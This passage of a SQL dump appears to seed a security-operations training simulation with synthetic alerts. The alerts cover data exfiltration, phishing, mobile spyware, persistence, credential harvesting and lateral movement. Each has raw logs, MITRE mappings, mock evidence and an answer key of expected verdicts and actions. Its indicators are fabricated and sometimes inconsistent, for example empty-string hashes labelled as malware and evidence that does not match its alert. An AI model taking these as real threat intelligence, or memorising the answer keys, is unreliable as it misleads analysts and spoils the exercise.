Files\\\\\\\\Predator\\\\\\\\predator.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"predator.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1520, 'Data Exfiltration Detected', 'high', 'Network traffic analysis', 'Anomalous network activity detected indicating potential data exfiltration. The data exfiltration attempt was identified based on abnormal outbound traffic to a known malicious IP address. The attacker likely aimed to transfer sensitive political information from the target device to an external server.', 'Data Breach', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"bytes_sent\":\"10485760\",\"filename\":\"political_activity_report.pdf\",\"username\":\"jdoe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_id\":\"EVT-20231012-0001\"}', '2026-03-15 19:10:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised device.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"political_activity_report.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_database\",\"verdict\":\"suspicious\",\"details\":\"File containing potentially sensitive political information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"antivirus_scan\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1521, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected targeting key personnel with a malicious attachment designed to gain initial access. The email appeared to be sent from a compromised account with a seemingly benign PDF attachment.', 'Initial Access', 'T1566.001 - Phishing: Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T08:15:30Z\",\"email_id\":\"E123456789\",\"sender\":\"compromised_account@externaldomain.com\",\"recipient\":\"john.doe@company.com\",\"subject\":\"Quarterly Report\",\"attachment\":\"Q3_Report.pdf\",\"attachment_hash\":\"b2e98ad6f6eb8508dd6a14cfa704bad7\",\"attachment_size\":\"256KB\",\"source_ip\":\"203.0.113.45\",\"recipient_ip\":\"10.0.0.5\",\"action\":\"Quarantined\",\"reason\":\"Detected malicious attachment\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"compromised_account@externaldomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"Q3_Report.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Attachment Analysis\",\"verdict\":\"malicious\",\"details\":\"Contains macro malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b2e98ad6f6eb8508dd6a14cfa704bad7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by multiple AV engines\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.337Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1522, 'Malware Execution on Mobile Device', 'high', 'Mobile Device Management Logs', 'The spyware was executed on the victim\'s mobile device after an attachment was opened. The malware silently embedded itself into the device\'s system.', 'Execution', 'T1406', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:34Z\",\"device_id\":\"MD-12457\",\"user\":\"johndoe\",\"source_ip\":\"10.0.1.23\",\"external_ip\":\"185.199.108.153\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"invoice.pdf\",\"status\":\"executed\",\"mdm_agent\":\"v5.4.1\",\"event\":\"malware_execution\",\"description\":\"Spyware executed upon opening attachment\",\"detected_by\":\"MDM Security Module\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected device.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known spyware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious filename used to deliver malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"johndoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Username of the victim, no prior malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.347Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:34Z\\\",\\\"device_id\\\":\\\"MD-12457\\\",\\\"user\\\":\\\"johndoe\\\",\\\"source_ip\\\":\\\"10.0.1.23\\\",\\\"external_ip\\\":\\\"185.199.108.153\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"invoice.pdf\\\",\\\"status\\\":\\\"executed\\\",\\\"mdm_agent\\\":\\\"v5.4.1\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"description\\\":\\\"Spyware executed upon opening attachment\\\",\\\"detected_by\\\":\\\"MDM Security Module\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1523, 'Establishing Persistence on Mobile', 'high', 'Mobile Application Logs', 'The spyware modifies system settings to ensure it remains active even after device reboots, securing a foothold in the device.', 'Persistence', 'T1547.014', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:42:21Z\",\"device_id\":\"mobile-192.168.1.15\",\"user\":\"john_doe\",\"description\":\"Suspicious modification of system files detected\",\"event\":{\"type\":\"execution\",\"process\":{\"name\":\"com.android.spyware\",\"pid\":2345,\"path\":\"/system/bin/persistent_service\"},\"modification\":{\"file\":\"/system/bin/boot.sh\",\"action\":\"modified\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"}},\"source_ip\":\"198.51.100.23\",\"internal_ip\":\"192.168.1.15\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with mobile spyware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a persistent mobile spyware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/system/bin/boot.sh\",\"is_critical\":false,\"osint_result\":{\"source\":\"system_logs\",\"verdict\":\"suspicious\",\"details\":\"File modification detected related to persistence methods.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:21Z\\\",\\\"device_id\\\":\\\"mobile-192.168.1.15\\\",\\\"user\\\":\\\"john_doe\\\",\\\"description\\\":\\\"Suspicious modification of system files detected\\\",\\\"event\\\":{\\\"type\\\":\\\"execution\\\",\\\"process\\\":{\\\"name\\\":\\\"com.android.spyware\\\",\\\"pid\\\":2345,\\\"path\\\":\\\"/system/bin/persistent_service\\\"},\\\"modification\\\":{\\\"file\\\":\\\"/system/bin/boot.sh\\\",\\\"action\\\":\\\"modified\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}},\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:21Z\\\",\\\"device_id\\\":\\\"mobile-192.168.1.15\\\",\\\"user\\\":\\\"john_doe\\\",\\\"description\\\":\\\"Suspicious modification of system files detected\\\",\\\"event\\\":{\\\"type\\\":\\\"execution\\\",\\\"process\\\":{\\\"name\\\":\\\"com.android.spyware\\\",\\\"pid\\\":2345,\\\"path\\\":\\\"/system/bin/persistent_service\\\"},\\\"modification\\\":{\\\"file\\\":\\\"/system/bin/boot.sh\\\",\\\"action\\\":\\\"modified\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}},\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:21Z\\\",\\\"device_id\\\":\\\"mobile-192.168.1.15\\\",\\\"user\\\":\\\"john_doe\\\",\\\"description\\\":\\\"Suspicious modification of system files detected\\\",\\\"event\\\":{\\\"type\\\":\\\"execution\\\",\\\"process\\\":{\\\"name\\\":\\\"com.android.spyware\\\",\\\"pid\\\":2345,\\\"path\\\":\\\"/system/bin/persistent_service\\\"},\\\"modification\\\":{\\\"file\\\":\\\"/system/bin/boot.sh\\\",\\\"action\\\":\\\"modified\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}},\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:21Z\\\",\\\"device_id\\\":\\\"mobile-192.168.1.15\\\",\\\"user\\\":\\\"john_doe\\\",\\\"description\\\":\\\"Suspicious modification of system files detected\\\",\\\"event\\\":{\\\"type\\\":\\\"execution\\\",\\\"process\\\":{\\\"name\\\":\\\"com.android.spyware\\\",\\\"pid\\\":2345,\\\"path\\\":\\\"/system/bin/persistent_service\\\"},\\\"modification\\\":{\\\"file\\\":\\\"/system/bin/boot.sh\\\",\\\"action\\\":\\\"modified\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}},\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.354Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:21Z\\\",\\\"device_id\\\":\\\"mobile-192.168.1.15\\\",\\\"user\\\":\\\"john_doe\\\",\\\"description\\\":\\\"Suspicious modification of system files detected\\\",\\\"event\\\":{\\\"type\\\":\\\"execution\\\",\\\"process\\\":{\\\"name\\\":\\\"com.android.spyware\\\",\\\"pid\\\":2345,\\\"path\\\":\\\"/system/bin/persistent_service\\\"},\\\"modification\\\":{\\\"file\\\":\\\"/system/bin/boot.sh\\\",\\\"action\\\":\\\"modified\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"}},\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1524, 'Credential Harvesting Detected', 'high', 'Network Traffic Analysis', 'The spyware has initiated credential harvesting, capturing sensitive credentials for lateral movement within the network. This is a critical step in the operation that facilitates credential theft.', 'Credential Access', 'T1110: Brute Force', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:37Z\",\"source_ip\":\"185.92.220.45\",\"destination_ip\":\"192.168.1.25\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"observed_filenames\":[\"harvest.exe\"],\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"event_type\":\"credential_harvest\",\"action\":\"login_attempt\",\"status\":\"successful\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with previously known credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash of known spyware used in credential harvesting.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"harvest.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareAnalysisLab\",\"verdict\":\"malicious\",\"details\":\"Executable associated with credential harvesting malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalDirectory\",\"verdict\":\"internal\",\"details\":\"User account targeted for credential theft.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1525, 'Attempted Lateral Movement to Corporate Network', 'high', 'Network Intrusion Detection System', 'The attackers, with stolen credentials, attempted to access the corporate network from a compromised mobile device. This step indicates a sophisticated lateral movement attempt, aiming to escalate their access to sensitive corporate data.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:22:35Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"filename\":\"malware_payload.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_type\":\"lateral_movement_attempt\",\"details\":\"Unauthorized lateral movement attempt detected from external IP using compromised credentials.\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP involved in previous attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal corporate network IP\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Company Directory\",\"verdict\":\"suspicious\",\"details\":\"Credentials possibly compromised\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Antivirus Database\",\"verdict\":\"malicious\",\"details\":\"File associated with known malware\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1526, 'Data Exfiltration Initiated', 'high', 'Data Loss Prevention Logs', 'Having infiltrated the network, the attackers begin exfiltrating data, focusing on personal and proprietary information. The attackers use multiple techniques to evade detection while transferring data to an external server.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-09T14:23:07Z\",\"event_type\":\"data_exfiltration\",\"internal_ip\":\"10.0.15.21\",\"external_ip\":\"203.0.113.45\",\"user\":\"jane.doe\",\"filename\":\"confidential_project_plan.docx\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"protocol\":\"HTTPS\",\"destination_domain\":\"malicious-download.com\",\"bytes_transferred\":5242880,\"alert_trigger\":\"Data exfiltration threshold exceeded\"}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.15.21\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known exfiltration activity\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account possibly compromised\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_project_plan.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document being exfiltrated\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"clean\",\"details\":\"Common hash, potentially altered file\"}},{\"id\":\"artifact_6\",\"type\":\"domain\",\"value\":\"malicious-download.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain involved in known malicious activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.367Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-09T14:23:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"internal_ip\\\":\\\"10.0.15.21\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"filename\\\":\\\"confidential_project_plan.docx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_domain\\\":\\\"malicious-download.com\\\",\\\"bytes_transferred\\\":5242880,\\\"alert_trigger\\\":\\\"Data exfiltration threshold exceeded\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.367Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 